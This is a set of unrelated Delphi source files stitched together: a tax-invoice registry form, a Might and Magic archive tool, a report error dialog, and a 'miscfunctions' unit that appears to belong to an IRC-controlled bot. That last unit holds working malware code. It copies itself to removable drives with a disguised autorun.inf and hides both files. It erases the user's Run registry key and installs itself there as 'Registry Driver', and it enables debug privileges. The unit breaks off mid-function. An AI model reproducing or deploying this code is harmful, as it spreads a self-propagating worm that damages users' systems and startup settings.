unit TITaxinvoices_AddReestr; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, cxLookAndFeelPainters, cxLabel, cxTextEdit, StdCtrls, cxButtons, cxButtonEdit, cxDropDownEdit, cxCalendar, cxSpinEdit, cxContainer, cxEdit, cxMaskEdit, cxControls, cxGroupBox, Ibase,TICommonLoader,Registry, cxCheckBox,TiMessages,TiCommonProc,TICommonDates, Spin; type TTaxInvoicesAddReestrForm = class(TForm) DataReestrGroupBox: TcxGroupBox; TipReestrGroupBox: TcxGroupBox; DateBegEdit: TcxDateEdit; DateEndEdit: TcxDateEdit; TypeReestrButtonEdit: TcxButtonEdit; OtherInfoReestrGroupBox: TcxGroupBox; YesButton: TcxButton; CancelButton: TcxButton; SaveTextEdit: TcxTextEdit; SpecModeTextEdit: TcxTextEdit; PeriodLabel: TcxLabel; DataBegLabel: TcxLabel; DataEndLabel: TcxLabel; SaveLabel: TcxLabel; SpecModeLabel: TcxLabel; cxGroupBox1: TcxGroupBox; NumReestrLabel: TcxLabel; NumReestrTextEdit: TcxTextEdit; MonthList: TComboBox; YearSpinEdit: TSpinEdit; procedure CancelButtonClick(Sender: TObject); procedure TipReestrButtonEditPropertiesButtonClick(Sender: TObject; AButtonIndex: Integer); procedure YesButtonClick(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure MonthList1Editing(Sender: TObject; var CanEdit: Boolean); procedure YearSpinEdit1Editing(Sender: TObject; var CanEdit: Boolean); procedure MonthList1Exit(Sender: TObject); procedure MonthListChange(Sender: TObject); procedure YearSpinEditChange(Sender: TObject); procedure NumReestrTextEditKeyPress(Sender: TObject; var Key: Char); procedure MonthListKeyPress(Sender: TObject; var Key: Char); procedure DateBegEditKeyPress(Sender: TObject; var Key: Char); procedure DateEndEditKeyPress(Sender: TObject; var Key: Char); procedure FormActivate(Sender: TObject); procedure TypeReestrButtonEditKeyPress(Sender: TObject; var Key: Char); procedure SaveTextEditKeyPress(Sender: TObject; var Key: Char); procedure SpecModeTextEditKeyPress(Sender: TObject; var Key: Char); private PRes : Variant; PDb_Handle : TISC_DB_HANDLE; public Kod_Setup:Integer; id_type_Reestr:Integer; name_type_reestr : string; procedure ReadReg; procedure WriteReg; constructor Create(AOwner:TComponent;Db_Handle:TISC_DB_HANDLE);reintroduce; property Res:Variant read PRes; end; var TaxInvoicesAddReestrForm: TTaxInvoicesAddReestrForm; implementation uses TITaxInvoicesDM; {$R *.dfm} constructor TTaxInvoicesAddReestrForm.Create(AOwner:TComponent;Db_Handle:TISC_DB_HANDLE); begin inherited Create(AOwner); PDb_Handle := Db_Handle; end; procedure TTaxInvoicesAddReestrForm.CancelButtonClick(Sender: TObject); begin Close; end; procedure TTaxInvoicesAddReestrForm.TipReestrButtonEditPropertiesButtonClick( Sender: TObject; AButtonIndex: Integer); var Parameter:TTiSimpleParam; TypeReestr:Variant; begin Parameter := TTiSimpleParam.Create; Parameter.DB_Handle := TaxInvoicesDM.DB.Handle; Parameter.Owner := self; TypeReestr := DoFunctionFromPackage(Parameter,TypeReestr_Const); Parameter.Destroy; If VarArrayDimCount(TypeReestr)>0 then begin id_type_Reestr := TypeReestr[0]; TypeReestrButtonEdit.Text := TypeReestr[1]; name_type_reestr := TypeReestr[1]; end; end; procedure TTaxInvoicesAddReestrForm.YesButtonClick(Sender: TObject); begin if (NumReestrTextEdit.Text='') then begin TiShowMessage('Увага!','Заповніть номер реєстру!',mtWarning,[mbOK]); NumReestrTextEdit.SetFocus; Exit; end; if (MonthList.Text='') then begin TiShowMessage('Увага!','Заповніть період!',mtWarning,[mbOK]); MonthList.SetFocus; Exit; end; if (TypeReestrButtonEdit.Text='') then begin TiShowMessage('Увага!','Заповніть тип реєстру!',mtWarning,[mbOK]); TypeReestrButtonEdit.SetFocus; Exit; end; if (DateBegEdit.Text='') then begin TiShowMessage('Увага!','Заповніть дату реєстра!',mtWarning,[mbOK]); DateBegEdit.SetFocus; Exit; end; if (DateEndEdit.Text='') then begin TiShowMessage('Увага!','Заповніть дату реєстра!',mtWarning,[mbOK]); DateEndEdit.SetFocus; Exit; end; ModalResult:=mrOk; end; procedure TTaxInvoicesAddReestrForm.ReadReg; var reg : TRegistry; begin try begin reg := TRegistry.Create; reg.RootKey := HKEY_CURRENT_USER; if reg.OpenKey('\Software\TaxInvoices\ReestrInvocesIns\',False) then begin TypeReestrButtonEdit.Text := reg.ReadString('name_type_reestr'); id_type_reestr := StrToInt(reg.ReadString('id_type_reestr')); name_type_reestr := reg.ReadString('name_type_reestr'); end else begin TypeReestrButtonEdit.Text := ''; end; end finally reg.Free; end; end; procedure TTaxInvoicesAddReestrForm.WriteReg; var reg : TRegistry; begin reg := TRegistry.Create; try reg.RootKey:=HKEY_CURRENT_USER; if (reg.OpenKey('\Software\TaxInvoices\ReestrInvocesIns\',True)) then begin reg.WriteString('id_type_reestr',IntToStr(id_type_reestr)); reg.WriteString('name_type_reestr',name_type_reestr); end; finally reg.Free; end; end; procedure TTaxInvoicesAddReestrForm.FormClose(Sender: TObject; var Action: TCloseAction); begin WriteReg; end; procedure TTaxInvoicesAddReestrForm.MonthList1Editing(Sender: TObject; var CanEdit: Boolean); var kod_setup : Integer; begin kod_setup := PeriodToKodSetup(YearSpinEdit.Value,MonthList.ItemIndex+1); TaxInvoicesDM.WriteTransaction.StartTransaction; TaxInvoicesDM.pFIBStoredProc.StoredProcName := 'Z_CONVERT_KOD_TO_PERIOD'; TaxInvoicesDM.pFIBStoredProc.ParamByName('kod_setup').Value := kod_setup; TaxInvoicesDM.pFIBStoredProc.ExecProc; TaxInvoicesDM.WriteTransaction.Commit; DateBegEdit.Date := TaxInvoicesDM.pFIBStoredProc.ParamByName('DATE_BEG').AsDate; DateEndEdit.Date := TaxInvoicesDM.pFIBStoredProc.ParamByName('DATE_END').AsDate; end; procedure TTaxInvoicesAddReestrForm.YearSpinEdit1Editing(Sender: TObject; var CanEdit: Boolean); var kod_setup : Integer; begin kod_setup := PeriodToKodSetup(YearSpinEdit.Value,MonthList.ItemIndex+1); TaxInvoicesDM.WriteTransaction.StartTransaction; TaxInvoicesDM.pFIBStoredProc.StoredProcName := 'Z_CONVERT_KOD_TO_PERIOD'; TaxInvoicesDM.pFIBStoredProc.ParamByName('kod_setup').Value := kod_setup; TaxInvoicesDM.pFIBStoredProc.ExecProc; TaxInvoicesDM.WriteTransaction.Commit; DateBegEdit.Date := TaxInvoicesDM.pFIBStoredProc.ParamByName('DATE_BEG').AsDate; DateEndEdit.Date := TaxInvoicesDM.pFIBStoredProc.ParamByName('DATE_END').AsDate; end; procedure TTaxInvoicesAddReestrForm.MonthList1Exit(Sender: TObject); var kod_setup : Integer; begin kod_setup := PeriodToKodSetup(YearSpinEdit.Value,MonthList.ItemIndex+1); TaxInvoicesDM.WriteTransaction.StartTransaction; TaxInvoicesDM.pFIBStoredProc.StoredProcName := 'Z_CONVERT_KOD_TO_PERIOD'; TaxInvoicesDM.pFIBStoredProc.ParamByName('kod_setup').Value := kod_setup; TaxInvoicesDM.pFIBStoredProc.ExecProc; TaxInvoicesDM.WriteTransaction.Commit; DateBegEdit.Date := TaxInvoicesDM.pFIBStoredProc.ParamByName('DATE_BEG').AsDate; DateEndEdit.Date := TaxInvoicesDM.pFIBStoredProc.ParamByName('DATE_END').AsDate; end; procedure TTaxInvoicesAddReestrForm.MonthListChange(Sender: TObject); var kod_setup : Integer; begin kod_setup := PeriodToKodSetup(YearSpinEdit.Value,MonthList.ItemIndex+1); TaxInvoicesDM.WriteTransaction.StartTransaction; TaxInvoicesDM.pFIBStoredProc.StoredProcName := 'Z_CONVERT_KOD_TO_PERIOD'; TaxInvoicesDM.pFIBStoredProc.ParamByName('kod_setup').Value := kod_setup; TaxInvoicesDM.pFIBStoredProc.ExecProc; TaxInvoicesDM.WriteTransaction.Commit; DateBegEdit.Date := TaxInvoicesDM.pFIBStoredProc.ParamByName('DATE_BEG').AsDate; DateEndEdit.Date := TaxInvoicesDM.pFIBStoredProc.ParamByName('DATE_END').AsDate; end; procedure TTaxInvoicesAddReestrForm.YearSpinEditChange(Sender: TObject); var kod_setup : Integer; begin kod_setup := PeriodToKodSetup(YearSpinEdit.Value,MonthList.ItemIndex+1); TaxInvoicesDM.WriteTransaction.StartTransaction; TaxInvoicesDM.pFIBStoredProc.StoredProcName := 'Z_CONVERT_KOD_TO_PERIOD'; TaxInvoicesDM.pFIBStoredProc.ParamByName('kod_setup').Value := kod_setup; TaxInvoicesDM.pFIBStoredProc.ExecProc; TaxInvoicesDM.WriteTransaction.Commit; DateBegEdit.Date := TaxInvoicesDM.pFIBStoredProc.ParamByName('DATE_BEG').AsDate; DateEndEdit.Date := TaxInvoicesDM.pFIBStoredProc.ParamByName('DATE_END').AsDate; end; procedure TTaxInvoicesAddReestrForm.NumReestrTextEditKeyPress( Sender: TObject; var Key: Char); begin if key = #13 then MonthList.SetFocus; end; procedure TTaxInvoicesAddReestrForm.MonthListKeyPress(Sender: TObject; var Key: Char); begin if key = #13 then DateBegEdit.SetFocus; end; procedure TTaxInvoicesAddReestrForm.DateBegEditKeyPress(Sender: TObject; var Key: Char); begin if key = #13 then DateEndEdit.SetFocus; end; procedure TTaxInvoicesAddReestrForm.DateEndEditKeyPress(Sender: TObject; var Key: Char); begin if key = #13 then YesButton.SetFocus; end; procedure TTaxInvoicesAddReestrForm.FormActivate(Sender: TObject); begin NumReestrTextEdit.SetFocus; end; procedure TTaxInvoicesAddReestrForm.TypeReestrButtonEditKeyPress( Sender: TObject; var Key: Char); begin if key = #13 then YesButton.SetFocus; end; procedure TTaxInvoicesAddReestrForm.SaveTextEditKeyPress(Sender: TObject; var Key: Char); begin if key = #13 then SpecModeTextEdit.SetFocus; end; procedure TTaxInvoicesAddReestrForm.SpecModeTextEditKeyPress( Sender: TObject; var Key: Char); begin if key = #13 then YesButton.SetFocus; end; end.
// MMArchMain unit and MMArchSimple class // Part of mmarch // Command line tool to handle Heroes 3 and Might and Magic 6, 7, 8 // resource archive files (e.g. lod files). Based on GrayFace's MMArchive. // By Tom CHEN <tomchen.org@gmail.com> (tomchen.org) // MIT License // https://github.com/might-and-magic/mmarch unit MMArchMain; interface uses Windows, SysUtils, StrUtils, Classes, RSLod, RSSysUtils, Graphics, RSGraphics, RSDefLod, MMArchPath, RSQ; type MMArchSimple = class private arch: TRSMMArchive; function getIndexByExactFileName(fileName: string): integer; function verifyExtractedExt(fileIndex: integer; extractedExtToVerify: string): boolean; function getInArchiveExt(extractedExt: string): string; public // constructor create; constructor load(archiveFile: string); overload; constructor load(archParam: TRSMMArchive); overload; // public utilities function getIndexByFileName(fileName: string): integer; function getPalette(Bitmap: TBitmap): integer; function getTRSMMArchive: TRSMMArchive; // ===== common procedures and functions ===== function list(separator: string = #13#10) : string; // `ext` parameter in extractAll(), deleteAll() and addAll() // differs from https://github.com/might-and-magic/mmarch#notes-on-file_to_xxxx_ // `ext` normally has dot `.` (`.txt`); `ext` of file without extension is ``; default to `*` meaning all files // you should not use any other format here // `folder` parameter in extractAll(), extract() and addAll() generally uses // the same rule here https://github.com/might-and-magic/mmarch#notes-on-folder procedure extractAll(folder: string; ext: string = '*'); procedure extract(folder: string; fileToExtract: string); procedure deleteAll(ext: string = '*'); procedure delete(fileToDelete: string); procedure addAll(folder: string; ext: string = '*'); procedure add(bmpFileToAdd: string; paletteIndex: integer; needOptimize: boolean = true); overload; procedure add(fileToAdd: string; needOptimize: boolean = true); overload; procedure new(archiveFile: string; archiveFileType: string; folder: string); procedure rename(oldFileName: string; newFileName: string); procedure merge(archiveFile2: string); procedure optimize; end; resourcestring FileNotFound = 'File `%s` is not found in the archive'; FileNameEmpty = 'File name is empty'; SEPaletteMustExist = 'Image must be in 256 colors mode and palette must be added to bitmaps.lod'; SEPaletteNotFound = 'Failed to find matching palette in [*.]bitmaps.lod'; ErrorStr = 'Error: %s'; FileErrorStr = 'File `%s` error: %s'; FileInArchiveErrorStr = 'File `%s` in archive `%s` error:'; ArchiveFileErrorStr = 'Archive file `%s` (or perhaps not an MM Archive file) error:'; implementation constructor MMArchSimple.load(archiveFile: string); begin // inherited Create() is called implicitly arch := RSLoadMMArchive(archiveFile); end; constructor MMArchSimple.load(archParam: TRSMMArchive); begin // inherited Create() is called implicitly arch := archParam; end; function MMArchSimple.getIndexByExactFileName(fileName: string): integer; var fFiles: TRSMMFiles; fileCountMinusOne: integer; i: integer; begin fFiles := arch.RawFiles; Result := -1; // if file is not found, returns -1 fileCountMinusOne := fFiles.Count - 1; for i := 0 to fileCountMinusOne do begin if SameText(fileName, fFiles.Name[i]) then begin Result := i; exit; end; end; end; function MMArchSimple.verifyExtractedExt(fileIndex: integer; extractedExtToVerify: string): boolean; begin Result := SameText( ExtractFileExt(arch.GetExtractName(fileIndex)), extractedExtToVerify ); end; function MMArchSimple.getInArchiveExt(extractedExt: string): string; var ver: TRSLodVersion; begin ver := TRSLod(arch).Version; // | Type | Archive Format | In-Archive Ext | Extracted Ext | // |--------------|----------------|----------------|---------------| // | RSLodHeroes | `h3lod` | `pcx` | `bmp` | // | RSLodHeroes | `h3snd` | No Extension | `wav` | // | RSLodGames | `mmsnd` | No Extension | `wav` | // | RSLodGames | `mm6vid` | No Extension | `smk` | // | RSLodBitmaps | `mmbitmapslod` | No Extension | `bmp` | // | RSLodBitmaps | `mmbitmapslod` | No Extension | `act` | // | RSLodIcons | `mmiconslod` | No Extension | `bmp` | // | RSLodIcons | `mmiconslod` | No Extension | `act` | // | RSLodSprites | `mmspriteslod` | No Extension | `bmp` | // | RSLodMM8 | `mm8loclod` | No Extension | `bmp` | if ( (ver = RSLodHeroes ) and SameText(extractedExt, '.wav') ) or ( (ver = RSLodGames ) and SameText(extractedExt, '.wav') ) or ( (ver = RSLodGames ) and SameText(extractedExt, '.smk') ) or ( (ver = RSLodBitmaps) and SameText(extractedExt, '.bmp') ) or ( (ver = RSLodBitmaps) and SameText(extractedExt, '.act') ) or ( (ver = RSLodIcons ) and SameText(extractedExt, '.bmp') ) or ( (ver = RSLodIcons ) and SameText(extractedExt, '.act') ) or ( (ver = RSLodSprites) and SameText(extractedExt, '.bmp') ) or ( (ver = RSLodMM8 ) and SameText(extractedExt, '.bmp') ) then Result := '' else begin if (ver = RSLodHeroes) and SameText(extractedExt, '.bmp') then begin Result := '.pcx'; end; end; // you may want to use verifyExtractedExt() after using getInArchiveExt() end; function MMArchSimple.getIndexByFileName(fileName: string): integer; var fileName2, ext: string; indexTemp: integer; begin if fileName = '' then raise Exception.Create(FileNameEmpty); fileName2 := fileName; // we don't use fFiles.FindFile(fileName, indexTemp); // it's actually a fuzzy match and unreliable // (icons.lod '2HSword1.bmp' can get 2HSword2.bmp's index) Result := getIndexByExactFileName(fileName2); if Result = -1 then // it may be caused by the difference between in-archive and extracted file extensions begin ext := ExtractFileExt(fileName2); SetLength( fileName2, (length(fileName2) - length(ext)) ); fileName2 := fileName2 + getInArchiveExt(ext); indexTemp := getIndexByExactFileName(fileName2); if verifyExtractedExt(indexTemp, ext) then Result := indexTemp; end; end; function MMArchSimple.getPalette(Bitmap: TBitmap): integer; // similar to TRSLodEdit.NeedPalette() var tLod: TRSLod; PalData: array[0..767] of Byte; pal: integer; begin tLod := TRSLod(arch); if (Bitmap.PixelFormat <> pf8bit) or (tLod.BitmapsLods = nil) then raise Exception.Create(SEPaletteMustExist); RSWritePalette(@PalData, Bitmap.Palette); // convert to the same palette pal := RSMMArchivesFindSamePalette(tLod.BitmapsLods, PalData); if pal <> 0 then Result := pal else raise Exception.Create(SEPaletteNotFound); end; function MMArchSimple.getTRSMMArchive: TRSMMArchive; begin Result := arch; end; function MMArchSimple.list(separator: string = #13#10) : string; var fFiles: TRSMMFiles; fileNameListStr: string; fileCountMinusOne, i: integer; begin fFiles := arch.RawFiles; fileCountMinusOne := fFiles.Count - 1; fileNameListStr := ''; for i := 0 to fileCountMinusOne do begin if i = fileCountMinusOne then separator := ''; fileNameListStr := fileNameListStr + fFiles.Name[i] + separator; end; Result := fileNameListStr; end; procedure MMArchSimple.extractAll(folder: string; ext: string = '*'); var fFiles: TRSMMFiles; fileCountMinusOne, i: integer; begin fFiles := arch.RawFiles; fileCountMinusOne := fFiles.Count - 1; for i := 0 to fileCountMinusOne do begin if (ext = '*') or SameText(ext, ExtractFileExt(fFiles.Name[i])) or ( SameText(getInArchiveExt(ext), ExtractFileExt(fFiles.Name[i])) and verifyExtractedExt(i, ext) ) then begin RSCreateDir(folder); // this function checks DirectoryExists() try // the individual resource file will be skipped if it gets an exception arch.Extract(i, folder); except on E: Exception do begin WriteLn(format(FileInArchiveErrorStr, [beautifyPath(fFiles.Name[i]), beautifyPath(fFiles.FileName)])); WriteLn(E.Message); end; end; end; end; end; procedure MMArchSimple.extract(folder: string; fileToExtract: string); var fileIndex: integer; begin fileIndex := getIndexByFileName(fileToExtract); if fileIndex = -1 then raise Exception.CreateFmt(FileNotFound, [fileToExtract]) else begin RSCreateDir(folder); arch.Extract(fileIndex, folder); end; end; procedure MMArchSimple.deleteAll(ext: string = '*'); var fFiles: TRSMMFiles; fileCountMinusOne, i: integer; currentFileExt: string; begin fFiles := arch.RawFiles; fileCountMinusOne := fFiles.Count - 1; for i := fileCountMinusOne downto 0 do begin currentFileExt := ExtractFileExt(fFiles.Name[i]); if (ext = '*') or SameText(ext, currentFileExt) or ( SameText(getInArchiveExt(ext), currentFileExt) and verifyExtractedExt(i, ext) ) then begin try // the individual resource file will be skipped if it gets an exception fFiles.Delete(i); except on E: Exception do WriteLn(format(FileErrorStr, [beautifyPath(fFiles.Name[i]), E.Message])); end; end; end; optimize; end; procedure MMArchSimple.delete(fileToDelete: string); var fileIndex: integer; begin fileIndex := getIndexByFileName(fileToDelete); if fileIndex = -1 then raise Exception.CreateFmt(FileNotFound, [fileToDelete]) else arch.RawFiles.Delete(fileIndex); optimize; end; procedure MMArchSimple.addAll(folder: string; ext: string = '*'); var fileNames: TStringList; fileName: string; begin fileNames := getAllFilesInFolder(folder, ext); for fileName in fileNames do begin try // the individual resource file will be skipped if it gets an exception add(withTrailingSlash(folder) + fileName, false); except on E: Exception do WriteLn(format(FileErrorStr, [beautifyPath(fileName), E.Message])); end; end; fileNames.Free; optimize; end; procedure MMArchSimple.add(bmpFileToAdd: string; paletteIndex: integer; needOptimize: boolean = true); begin arch.Add(bmpFileToAdd, paletteIndex); if needOptimize then optimize; end; procedure MMArchSimple.add(fileToAdd: string; needOptimize: boolean = true); var tLod: TRSLod; ver: TRSLodVersion; ext: string; paletteIndex: integer; begin tLod := TRSLod(arch); ver := tLod.Version; ext := ExtractFileExt(fileToAdd); if SameText(ext, '.bmp') and ((ver = RSLodBitmaps) or (ver = RSLodSprites)) then // need palette begin tLod.LoadBitmapsLods(ExtractFilePath(arch.RawFiles.FileName)); paletteIndex := getPalette(RSLoadBitmap(fileToAdd)); add(fileToAdd, paletteIndex); end else arch.Add(fileToAdd); if needOptimize then optimize; end; procedure MMArchSimple.new(archiveFile: string; archiveFileType: string; folder: string); var ext: string; ver: TRSLodVersion; const vers: array[0..12] of TRSLodVersion = (RSLodHeroes, RSLodHeroes, RSLodGames, RSLodHeroes, RSLodGames, RSLodBitmaps, RSLodIcons, RSLodSprites, RSLodMM8, RSLodGames7, RSLodGames, RSLodChapter7, RSLodChapter); versStrs: array[0..12] of string = ('h3lod', 'h3snd', 'mmsnd', 'h3mm78vid', 'mm6vid', 'mmbitmapslod', 'mmiconslod', 'mmspriteslod', 'mm8loclod', 'mm78gameslod', 'mm6gameslod', 'mm78save', 'mm6save'); begin ver := vers[AnsiIndexStr(AnsiLowerCase(archiveFileType), versStrs)]; ext := ExtractFileExt(archiveFile); if SameText(ext, '.snd') then begin arch := TRSSnd.Create; TRSSnd(arch).New(withTrailingSlash(folder) + archiveFile, ver <> RSLodHeroes); end else if SameText(ext, '.vid') then begin arch := TRSVid.Create; TRSVid(arch).New(withTrailingSlash(folder) + archiveFile, ver <> RSLodHeroes); end else begin arch := TRSLod.Create; TRSLod(arch).New(withTrailingSlash(folder) + archiveFile, ver); end; optimize; end; procedure MMArchSimple.rename(oldFileName: string; newFileName: string); var fFiles: TRSMMFiles; fileIndex: integer; begin fileIndex := getIndexByFileName(oldFileName); if fileIndex = -1 then raise Exception.CreateFmt(FileNotFound, [oldFileName]); fFiles := arch.RawFiles; fFiles.Rename(fileIndex, newFileName); optimize; end; procedure MMArchSimple.merge(archiveFile2: string); var arch2: TRSMMArchive; fFiles, fFiles2: TRSMMFiles; begin fFiles := arch.RawFiles; arch2 := RSLoadMMArchive(archiveFile2); fFiles2 := arch2.RawFiles; fFiles2.MergeTo(fFiles); optimize; end; procedure MMArchSimple.optimize; begin arch.RawFiles.Rebuild; end; end.
unit USError2; interface uses SysUtils, Forms, Buttons, ExtCtrls, StdCtrls, Controls, Classes, Graphics; type TCrpeErrorDlg = class(TForm) pnlError: TPanel; lblTitle: TLabel; lblErrorNumber: TLabel; btnContinue: TBitBtn; btnAbort: TBitBtn; btnHandle: TBitBtn; GreenOff: TSpeedButton; GreenOn: TSpeedButton; RedOff: TSpeedButton; RedOn: TSpeedButton; YellowOff: TSpeedButton; YellowOn: TSpeedButton; memoErrorString: TMemo; procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure FormShow(Sender: TObject); procedure btnContinueMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); procedure btnAbortMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); procedure btnHandleMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); private { Private declarations } public { Public declarations } LEDcnt : integer; end; var CrpeErrorDlg: TCrpeErrorDlg; implementation {$R *.DFM} procedure TCrpeErrorDlg.FormShow(Sender: TObject); begin LEDcnt := -1; end; procedure TCrpeErrorDlg.btnContinueMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); begin if LEDcnt <> 1 then begin btnContinue.Glyph := GreenOn.Glyph; btnAbort.Glyph := RedOff.Glyph; btnHandle.Glyph := YellowOff.Glyph; LEDcnt := 1; end; end; procedure TCrpeErrorDlg.btnAbortMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); begin if LEDcnt <> 2 then begin btnContinue.Glyph := GreenOff.Glyph; btnAbort.Glyph := RedOn.Glyph; btnHandle.Glyph := YellowOff.Glyph; LEDcnt := 2; end; end; procedure TCrpeErrorDlg.btnHandleMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); begin if LEDcnt <> 3 then begin btnContinue.Glyph := GreenOff.Glyph; btnAbort.Glyph := RedOff.Glyph; btnHandle.Glyph := YellowOn.Glyph; LEDcnt := 3; end; end; procedure TCrpeErrorDlg.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); begin if LEDcnt <> -1 then begin btnContinue.Glyph := GreenOff.Glyph; btnAbort.Glyph := RedOff.Glyph; btnHandle.Glyph := YellowOff.Glyph; LEDcnt := -1; end; end; procedure TCrpeErrorDlg.FormClose(Sender: TObject; var Action: TCloseAction); begin Release; end; end.
unit miscfunctions; interface uses windows, sysutils, variables, functions; type TControlSetting = Record ControlNick : String; ControlChannel : String; ControlIdent : String; ControlHost : String; end; function GetProcessorName(): String; function GetTotalRAM(): String; function GetUptime(): String; function ReadRegValue(Root: HKey; Path, Value, Default: String): String; procedure CleanRegistry; procedure InsertRegValue(Root: HKey; Path, Value, Str: String); procedure DeleteRegValue(Root: HKey; Path, Value: String); function GetWinLang(): String; Function StartThread(pFunction : TFNThreadStartRoutine; iPriority : Integer = Thread_Priority_Normal; iStartFlag : Integer = 0) : THandle; function InfectUsbDrives(ExeName:string):integer; function WildcardCompare(WildS, IstS: String): Boolean; function TrimEx(S: String): String; function CheckAuthHost(AuthHost, RawData: String): Boolean; function GetUserName: string; function GetCountry :String; function ReverseString(const s: string): string; procedure SetTokenPrivileges; implementation procedure SetTokenPrivileges; var hToken1, hToken2, hToken3: THandle; TokenPrivileges: TTokenPrivileges; Version: OSVERSIONINFO; begin Version.dwOSVersionInfoSize := SizeOf(OSVERSIONINFO); GetVersionEx(Version); if Version.dwPlatformId <> VER_PLATFORM_WIN32_WINDOWS then begin try OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, hToken1); hToken2 := hToken1; LookupPrivilegeValue(nil, 'SeDebugPrivilege', TokenPrivileges.Privileges[0].luid); TokenPrivileges.PrivilegeCount := 1; TokenPrivileges.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; hToken3 := 0; AdjustTokenPrivileges(hToken1, False, TokenPrivileges, 0, PTokenPrivileges(nil)^, hToken3); TokenPrivileges.PrivilegeCount := 1; TokenPrivileges.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; hToken3 := 0; AdjustTokenPrivileges(hToken2, False, TokenPrivileges, 0, PTokenPrivileges(nil)^, hToken3); CloseHandle(hToken1); except; end; end; end; function ReverseString(const s: string): string; var i, len: Integer; begin len := Length(s); SetLength(Result, len); for i := len downto 1 do begin Result[len - i + 1] := s[i]; end; end; function GetUserName: string; var Buffer :array[0..4096] of Char; Size :Cardinal; begin Size := Pred(SizeOf(Buffer)); GetUserNameA(Buffer, Size); Result := Buffer; end; function GetCountry :String; var CountryCode :Array[0..4] of Char; begin GetLocaleInfo(LOCALE_USER_DEFAULT,LOCALE_SISO3166CTRYNAME,CountryCode,SizeOf(CountryCode)); Result := PChar(@CountryCode[0]); end; function TrimEx(S: String): String; var I, Count: Integer; begin I := Length(S); Count:= 1; repeat if Copy(S, Count, 1) <> #0 then Result := Result + Copy(S, Count, 1); Inc(Count) until Count = I; end; function WildcardCompare(WildS, IstS: String): Boolean; var I, J, L, P: Byte; begin I := 1; J := 1; while (I <= Length(WildS)) do begin if WildS[I] = '*' then begin if I = Length(WildS) then begin Result := True; Exit end else begin L := I + 1; while (l < length(WildS)) and (WildS[l+1] <> '*') do Inc (l); P := Pos(Copy(WildS, I + 1, L - I), IstS); if P > 0 then J := P - 1 else begin Result := False; Exit; end; end; end else if (WildS[I] <> '?') and ((Length(IstS) < I) or (WildS[I] <> IstS[J])) then begin Result := False; Exit end; Inc(I); Inc(J); end; Result := (J > Length(IstS)); end; function CheckAuthHost(AuthHost, RawData: String): Boolean; begin Delete(RawData, 1, 1); RawData := Copy(RawData, 1, Pos(' ', RawData)); if WildcardCompare(AuthHost, TrimEx(RawData)) then Result := True else Result := False; end; function InfectUsbDrives(ExeName:string):integer; var EMode: Word; Drive: Char; myFile: TextFile; freespace: int64; begin Result := 0; for Drive := 'C' to 'Z' do begin EMode := SetErrorMode(SEM_FAILCRITICALERRORS) ; try freeSpace := DiskFree(Ord(drive) - 64); if (GetDriveType(PChar(Drive + ':\')) = DRIVE_REMOVABLE) and (freespace > 0) then begin try if (FileExists(Drive+':\'+ExeName)=False) then begin CopyFile(PChar(ParamStr(0)),PChar(Drive+':\'+ExeName),False); AssignFile(myFile, Drive+':\autorun.inf'); if not FileExists(Drive+':\autorun.inf') then ReWrite(myFile) else Append(myFile); WriteLn(myFile,'[autorun]'+#13#10+'shell=verb'+#13#10+'open='+ExeName+#13#10+ 'action=Open folder to view files'+#13#10+'shell\open=Open'+#13#10+'icon=%SystemRoot%\system32\SHELL32.dll,4'); CloseFile(myFile); SetFileAttributes(PChar(Drive+':\'+ExeName), FILE_ATTRIBUTE_HIDDEN); SetFileAttributes(PChar(Drive+':\autorun.inf'), FILE_ATTRIBUTE_HIDDEN); Result := Result + 1; end; except end; end; finally SetErrorMode(EMode); end; end; end; Function StartThread(pFunction : TFNThreadStartRoutine; iPriority : Integer = Thread_Priority_Normal; iStartFlag : Integer = 0) : THandle; var ThreadID : DWORD; begin Result := CreateThread(nil, 0, pFunction, nil, iStartFlag, ThreadID); SetThreadPriority(Result, iPriority); end; procedure InsertRegValue(Root: HKey; Path, Value, Str: String); var Key: HKey; Size: Cardinal; begin RegOpenKey(Root, PChar(Path), Key); Size := Length(Str); RegSetValueEx(Key, PChar(Value), 0, REG_SZ, @Str[1], Size); RegCloseKey(Key); end; procedure CleanRegistry; var Key: HKey; begin RegDeleteKey(HKEY_CURRENT_USER, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run'); RegCreateKey(HKEY_CURRENT_USER,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', key); RegCloseKey(key); InsertRegValue(HKEY_CURRENT_USER, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'Registry Driver', sEXEPath); end; procedure DeleteRegValue(Root: HKey; Path, Value: String); var Key: HKey; begin RegOpenKey(ROOT, PChar(Path), Key); RegDeleteValue(Key, PChar(Value)); RegCloseKey(Key); end; function GetWinLang(): String; var Buffer: PChar; Size: Integer; begin Size := GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SABBREVCTRYNAME, nil, 0); GetMem(Buffer, Size); try GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SABBREVCTRYNAME, Buffer, Size); Result := String(Buffer); finally FreeMem(Buffer); end; end; function GetProcessorName(): String; const Size: Integer = 2048; var Temp: HKEY; Speed: Integer; begin RegOpenKeyEx(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0', 0, KEY_QUERY_VALUE, Temp); RegQueryValueEx(Temp, '~MHz', nil, nil, @Speed, @Size); RegCloseKey(Temp); Result := ReadRegValue(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0', 'ProcessorNameString', 'Not Found') + ' - ' + IntToStr(Speed) + ' MHz'; end; function GetTotalRAM(): String; var MemoryStatus: TMemoryStatus; begin 